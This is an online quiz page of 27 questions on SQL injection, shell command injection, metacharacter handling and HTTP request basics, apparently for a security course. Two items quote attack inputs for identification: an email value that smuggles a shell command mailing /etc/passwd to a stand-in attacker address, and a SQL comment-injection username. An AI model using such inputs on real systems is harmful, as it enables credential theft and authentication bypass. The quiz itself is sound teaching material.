Quiz
Analyse 9 week 2
Crie uma conta grátis para terminar este quiz
Salve seu progresso e veja sua nota final.
Já tem uma conta? Inicie sessão
Perguntas do quiz (27)
1Any database server based on SQL will need to have quotes escaped in string constants.
- AVerdadeiro
- BFalso
2What is the main security problem with meta-characters, when a dynamic web applications pass data to one or more subsystems?
- AThey may cause the parser to switch context from normal text to control command.
- BThey may represent names, addresses, passwords, and some private information.
- CThey contain raw data, instead of encrypted data.
- DThe programmer is not able to handle them.
3An SQL injection attack is _________.
- Athe exploitation of programming weaknesses in SQL codes to gain access to a database, its resources, and applications.
- Bthe injection of malware in an SQL authentication processes.
- Ca botnet attack on SQL machines across different geographical locations.
- Dexploitation of database entry codes to gain access to user input forms.
4Which answer can help an attacker for a SQL injection on Microsoft Access database?
- ASQL comment introducer
- Binspection of cookies and cache
- Cplaying with Boolean operators precedence rules
- Dusing double hyphen in a query
5An attacker entered the following input in the email address field when registering in the system. You guess what attack he intend to perform?
foo@bar.example; mail badguy@badguy.example < /etc/passwd- AShell command injection
- BSQL injection
- CSession hijacking
- DMetacharacter injection
6The first line in the HTTP request is known as the request-header.
- AVerdadeiro
- BFalso
7The hyphens are not the main problem in SQL injection attack.
- AVerdadeiro
- BFalso
8If we do not handle metacharacters, our SQL-based database application will be vulnerable to SQL injection attacks.
- AVerdadeiro
- BFalso
9Which weakness is mainly used for SQL Injection attacks?
- AHTML encoding
- BHandling of meta-characters
- CText modification
- DScript injection
10A programmer must always handle all metacharacters even if it seems unnecessary.
- AVerdadeiro
- BFalso
11If the code developer implements metacharacter handling procedure, input validation is still required.
- AVerdadeiro
- BFalso
12You may occasionally have seen ‘‘404 Not Found’’ when visiting web pages. That error message is taken directly from the ___________.
- AStatus-Line
- BUser-Agent header
- CError header
- DHTML body
13What attack is described by the following definition?
"an attacker is able to modify or add queries that are sent to a database by playing with input to the web application."- AShell Command Injection
- BSQL Injection
- CCross-site Scripting
- DSession Hijacking
14All metacharacters must be escaped to be treated as control characters.
- AVerdadeiro
- BFalso
15If a code developer ask his program to run an external command by operating system, the risk of which attack is more probably increased?
- ASQL injection
- BShell command injection
- CSession Hijacking
- DAll the above answers
16Metacharacters typically are not problem where data are mixed with nondata, such as in dynamically built SQL statements.
- AVerdadeiro
- BFalso
17In SQL injection, quotes are bad only when they make a parser switch context.
- AVerdadeiro
- BFalso
18All the following methods are useful to reduce the risk of Shell Command Injection, except:
- AManaging without the shell
- BAvoiding user input in the command arguments
- CHandling shell metacharacters
- DAvoiding 'Finger' and 'Sendmail' commands
19An attacker can not do harm to a system even if the web application developer forgets about the backslash when passing string constants to a database that supports it.
- AVerdadeiro
- BFalso
20All the following methods are useful to reduce the risk of SQL injection, except:
- AUsing prepared statements
- Bescaping metacharacters
- CNeutralizing SQL metacharacters
- Dshowing detailed error messages to the client
21Code that most vulnerable to SQL injection attack contains ___________.
- Ainput parameters.
- Bdynamic SQL with bind arguments.
- Cdynamic SQL with concatenated input values.
- Dcall external function.
22Escaping all quotes from the client-side is the wrong way to avoid the SQL injection attack .
- AVerdadeiro
- BFalso
23In HTTP requests, the GET method expects a _____________.
- Amethod token
- Brequest-URI
- Cversion identifier
- Dstatus code
24Instead of handling the escaping of SQL metacharacters ourselves, we could use prepared statements.
- AVerdadeiro
- BFalso
25Attacker is not able to inject control information to dictate the behavior of the subsystem, if we provide appropriate message and ask the user to enter correct input.
- AVerdadeiro
- BFalso
26When escaping metacharacters, we tell the subsystem to treat the metacharacter as something that makes it switch context.
- AVerdadeiro
- BFalso
27If a user enters the following input in the user name fields, and leaves the password empty, you can guess that he is trying a perform a/an _________ attack.
john’ --- ASQL injection
- BShell Command Injection
- CSession hijacking
- DMetacharacter injection
Informações
- Descrição
- Learning Technology Quiz sobre Analyse 9 week 2, criado por Joost Stam em 07-04-2019.
- Autor
- Joost Stam
- Idioma
- English
- Visualizações
- 41
- Etiquetas
- Avaliação
- Ainda sem avaliações Avalie este quiz